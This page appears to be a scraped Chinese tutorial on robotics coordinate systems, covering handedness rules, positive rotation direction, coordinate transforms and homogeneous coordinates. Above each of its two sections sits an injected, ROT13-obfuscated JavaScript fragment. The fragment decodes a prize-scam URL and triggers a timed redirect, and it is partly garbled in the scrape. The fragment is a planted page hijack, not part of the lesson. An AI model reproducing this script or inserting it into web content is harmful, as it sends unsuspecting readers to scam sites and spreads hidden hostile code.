机器人学-旋转坐标轴正方向的判断方法

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
 
三维坐标系
做3D特效,就要用到三维坐标系,这是后人在笛卡尔的平面坐标系的基础上发明的。三维坐标系分两种,左手坐标系和右手坐标系,为什么用左手和右手来区分呢?这是因为当确定了x轴,y轴方向之后,z轴的方向的两种,它可以通过左手或右手来确定。下面就是这两个坐标系的规则示意图(图中固定了x轴的正方向向右,y轴的正方向向上):

相信大多数人对图中的右手坐标系很眼熟,没错,这就是初高中数学教材用到的三维坐标系,只是我们不一定知道它叫右手坐标系。

左手坐标系我们之前很少接触,但是在计算机图形学中这种坐标系非常重要,比如iOS的UIView使用的坐标系就是左手坐标系。有人可能会说,不对吧,UIView的坐标系是原点在左上角,y轴正方向向下,图中的不是这样啊,其实没错啦,把图中的左手坐标系沿x轴旋转180度就是原点在左上角的左手坐标系,区别就是旋转的角度不同而已。这是因为左手坐标系或者右手坐标系整体旋转后性质是不变的。

对坐标系使用左手与右手的命名,有一个作用就是用来方便判断旋转的正方向,这就是左手法则和右手法则。例如对左手坐标系,确定一个旋转轴后,左手握住拳头,拇指指向旋转轴的正方向,四指弯曲的方向为旋转的正方向。相应地,右手坐标系就用右手来判定。确定了旋转的正方向后,在公式计算中就很容易知道是该使用正角度还是负角度了。下图就是右手的例子:

但是,这个判断旋转正方向的方法还是不够快。给定任意一个旋转角度的三维坐标系,如果按上面的方法判断旋转正方向,首先,你得确定这个坐标系是左手坐标系还是右手坐标系,这时你会先拿出一只手来,像上图一样摆好三根手指的姿势来比对给定坐标系的x、y、z轴正方向看是否一致。然后根据旋转轴的正方向,用相应的手来判断旋转正方向。

其实,完全没有必要这么麻烦。怎么更方便地判断,且看我慢慢道来。

先看第一个图的两个坐标系,左边的为左手坐标系,右边的为右手坐标系,两坐标系的x轴和y轴正方向保持一致,z轴正方向相反。分别用左手法则与右手法则去判断它们各自绕z轴旋转的正方向,那么从我们眼睛看屏幕的角度来看,它们绕z轴旋转的正方向都是逆时针,这当然不会是巧合。观察这两个坐标系,就会发现这个逆时针方向与x轴正方向箭头顶点指向y轴正方向箭头顶点的方向一致,这说明绕z轴旋转的正方向与x轴正方向箭头顶端指向y轴正方向箭头顶端的方向有关联吗?我想是的。

然后再尝试判断两坐标系绕x轴旋转的正方向,它与y轴正方向顶端指向z轴正方向顶端的方向一致;而绕y轴旋转的正方向,与z轴正方向顶端指向x轴正方向顶端的方向一致。
结论一
据此,我觉得可以得出一个结论:对于任意旋转角度的三维坐标系,绕某一坐标轴旋转的正方向,与另外两个坐标轴的正方向顶端按X—>Y—>Z—>X的顺序进行指向的方向一致。

这就意味着,判断三维坐标系绕某一坐标轴旋转的正方向,不用事先知晓这个坐标系是左手坐标系还是右手坐标系,完全不需要你用手去比划.

反过来,既然判断旋转正方向这么容易,我们也可以利用它来快速判断一个坐标系是左手坐标系和右手坐标系:使用上述结论确定坐标系绕某一某旋转的正方向,然后逆用左手法则与右手法则,大拇指指向该轴的正方向,如果左手四指弯曲的方向与旋转的正方向一致,该坐标系就是左手坐标系,反之就是右手坐标系。

不过这还是复杂,还是需要用手比划。我突然想到了一个更好的方法:
想象y轴是一面墙,你面朝前方斜靠在墙上,可以假设你的头部为y轴正方向顶点,脚为x轴正方向顶点,那么z轴在你的左侧时就是左手坐标系,在右侧时就是右手坐标系。这个时候,人体的生长方向也刚好是绕z轴旋转的正方向。
结论二
再扩展一下就是:对于任意旋转角度的三维坐标系,想象你的脚踩在一个坐标轴(如x轴)正方向的顶点,头倚靠在其邻高坐标轴(如y轴)的正方向顶点,面朝背离原点的方向,那么,第三轴正方向顶点在你的左手边时,这个坐标系就是左手坐标系,在右手边时就是右手坐标系,而人体此时的生长方向就是绕第三轴(如z轴)旋转的正方向。
(注:这里的邻高坐标轴是我自己定义的一个概念,X轴的邻高坐标轴为Y轴,Y轴的邻高坐标轴为Z轴,Z轴的邻高坐标轴为X轴.)

在这个方法里,坐标系属性与绕坐标轴旋转正方向的判断达到了统一,从此可以抛弃左手法则与右手法则,也可以抛弃手指比划的方式来判断左右手坐标系,是不是会觉得很简单?

参考资料-判断三维坐标系旋转正方向的简单方法

机器人学-2-坐标变换

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
机器人坐标变换的意义
由于目标物体的坐标系与机器人的坐标系是不一致的,它们各自的坐标系是没有联系的。所以为了能够使目标物体的坐标系能够让机器人知道它的位置,需要将目标物体的坐标系变换到机器人坐标系中。进一步的说就是我们需要将运动从前一个参考坐标系到下一个参考坐标系。

 
1.首先看参考坐标系和物体上的坐标系重合的情况,可以看到这个时候两个坐标系对于P点描述的坐标是一样的。

 
2.接下来看一下只旋转的情况

旋转了以后两个坐标系就不重合了,可以看到Pxyz和Puvw起始在数值上乍看没有什么联系,进一步的思考,两个坐标系的单位向量其实是可以转换的,因为我们知道旋转的角度,UVW是从XYZ旋转而来的,因此我们可以通过简单的计算得到XYZ的三个单位向量旋转了Θ后就是UVW的单位向量。这样就找到两个坐标系的转换方法了。求旋转后单位向量的方法很简单就是点乘就可以了。

当然也可以换一个思路(刚才的思路已经可以解决这个问题了),明确一点,起始点的坐标就是点在坐标轴上的投影,那么我们可以将P点先投影到UVW坐标轴上再投影到XYZ坐标轴上就可以得到这个点相对于XYZ的位置了。投影的公司就是点的坐标点乘当单位向量。

这样就得到公式了,然后看一个实际要计算的例子,套用刚才分析得到的步骤:

3.齐次坐标变换
参考资料-齐次坐标变换

齐次坐标表示是计算机图形学的重要手段之一,它既能够用来明确区分向量和点,同时也更易用于进行仿射(线性)几何变换。

简单的来说,齐次坐标变换就是用一个n+1维的向量去描述n维的向量,就可以把它想象成一种坐标表示方式。

在齐次坐标的变换中,a,b,c分别是单位向量的前面的数,w默认是1,可以通过同时乘上一个数字来同时增大和减小,我们可以把任何一个向量表示层这样的形式;下面看一个使用齐次坐标变换来得到旋转坐标的例子,利用我们刚才得到的rot的公式加上齐次坐标变换可以得到U点围绕Z旋转90度的坐标是[-3 7 2],这个1只是变换用的,并没有实际的意义,但是如果不是1的时候需要做变换同时除以一个数将其变为1.